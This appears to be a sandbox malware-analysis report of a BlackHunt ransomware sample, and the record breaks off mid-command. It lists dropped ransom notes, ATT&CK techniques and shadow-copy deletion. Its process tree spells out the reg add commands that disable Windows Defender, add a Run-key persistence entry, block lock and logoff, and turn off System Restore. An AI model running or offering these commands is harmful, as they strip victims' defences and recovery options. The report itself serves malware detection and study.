File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\vi.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xerces.md	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\tools.jar	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\webkit.md	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaSansRegular.ttf	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\AddClear.mp3	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_it.properties	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunec.jar	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\currency.data	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\libpng.md	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_de.properties	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jsse.jar	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\javafx-mx.jar	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3808	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4380	vssadmin.exe
2972	vssadmin.exe
3984	vssadmin.exe
4092	vssadmin.exe
2292	vssadmin.exe
1828	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Token: SeRestorePrivilege	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Token: SeBackupPrivilege	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Token: SeTakeOwnershipPrivilege	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Token: SeAuditPrivilege	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Token: SeSecurityPrivilege	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Token: SeIncBasePriorityPrivilege	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Token: SeBackupPrivilege	4736	vssvc.exe
Token: SeRestorePrivilege	4736	vssvc.exe
Token: SeAuditPrivilege	4736	vssvc.exe
Token: SeBackupPrivilege	2440	wbengine.exe
Token: SeRestorePrivilege	2440	wbengine.exe
Token: SeSecurityPrivilege	2440	wbengine.exe
Token: SeSecurityPrivilege	632	wevtutil.exe
Token: SeBackupPrivilege	632	wevtutil.exe
Token: SeSecurityPrivilege	2672	wevtutil.exe
Token: SeBackupPrivilege	2672	wevtutil.exe
Token: SeSecurityPrivilege	6136	wevtutil.exe
Token: SeBackupPrivilege	6136	wevtutil.exe
Token: SeSecurityPrivilege	1600	wevtutil.exe
Token: SeBackupPrivilege	1600	wevtutil.exe
Token: SeSecurityPrivilege	3752	wevtutil.exe
Token: SeBackupPrivilege	3752	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 100 wrote to memory of 3620	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	90
PID 100 wrote to memory of 3620	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	90
PID 100 wrote to memory of 1624	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	92
PID 100 wrote to memory of 1624	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	92
PID 100 wrote to memory of 1972	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	94
PID 100 wrote to memory of 1972	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	94
PID 100 wrote to memory of 3104	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	97
PID 100 wrote to memory of 3104	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	97
PID 100 wrote to memory of 1932	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	171
PID 100 wrote to memory of 1932	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	171
PID 3620 wrote to memory of 1496	3620	cmd.exe	95
PID 3620 wrote to memory of 1496	3620	cmd.exe	95
PID 1932 wrote to memory of 900	1932	reg.exe	104
PID 1932 wrote to memory of 900	1932	reg.exe	104
PID 1624 wrote to memory of 4812	1624	reg.exe	101
PID 1624 wrote to memory of 4812	1624	reg.exe	101
PID 3104 wrote to memory of 3140	3104	cmd.exe	102
PID 3104 wrote to memory of 3140	3104	cmd.exe	102
PID 1972 wrote to memory of 4540	1972	reg.exe	103
PID 1972 wrote to memory of 4540	1972	reg.exe	103
PID 100 wrote to memory of 3984	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	105
PID 100 wrote to memory of 3984	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	105
PID 100 wrote to memory of 1016	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	107
PID 100 wrote to memory of 1016	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	107
PID 100 wrote to memory of 1916	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	109
PID 100 wrote to memory of 1916	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	109
PID 100 wrote to memory of 4804	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	111
PID 100 wrote to memory of 4804	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	111
PID 3984 wrote to memory of 1032	3984	cmd.exe	113
PID 3984 wrote to memory of 1032	3984	cmd.exe	113
PID 100 wrote to memory of 2856	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	114
PID 100 wrote to memory of 2856	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	114
PID 100 wrote to memory of 856	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	116
PID 100 wrote to memory of 856	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	116
PID 1016 wrote to memory of 2472	1016	cmd.exe	119
PID 1016 wrote to memory of 2472	1016	cmd.exe	119
PID 100 wrote to memory of 2180	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	118
PID 100 wrote to memory of 2180	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	118
PID 100 wrote to memory of 2140	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	121
PID 100 wrote to memory of 2140	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	121
PID 100 wrote to memory of 4544	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	122
PID 100 wrote to memory of 4544	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	122
PID 4804 wrote to memory of 1868	4804	cmd.exe	125
PID 4804 wrote to memory of 1868	4804	cmd.exe	125
PID 1916 wrote to memory of 4920	1916	cmd.exe	126
PID 1916 wrote to memory of 4920	1916	cmd.exe	126
PID 100 wrote to memory of 2320	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	128
PID 100 wrote to memory of 2320	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	128
PID 2856 wrote to memory of 4676	2856	cmd.exe	127
PID 2856 wrote to memory of 4676	2856	cmd.exe	127
PID 100 wrote to memory of 1608	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	130
PID 100 wrote to memory of 1608	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	130
PID 100 wrote to memory of 3592	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	131
PID 100 wrote to memory of 3592	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	131
PID 100 wrote to memory of 2036	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	132
PID 100 wrote to memory of 2036	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	132
PID 100 wrote to memory of 1924	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	136
PID 100 wrote to memory of 1924	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	136
PID 100 wrote to memory of 1300	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	138
PID 100 wrote to memory of 1300	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	138
PID 100 wrote to memory of 4228	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	139
PID 100 wrote to memory of 4228	100	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe	139
PID 856 wrote to memory of 5016	856	cmd.exe	143
PID 856 wrote to memory of 5016	856	cmd.exe	143

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
"C:\Users\Admin\AppData\Local\Temp\bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:1972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:32
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4228
- - C:\Windows\system32\reg.exe
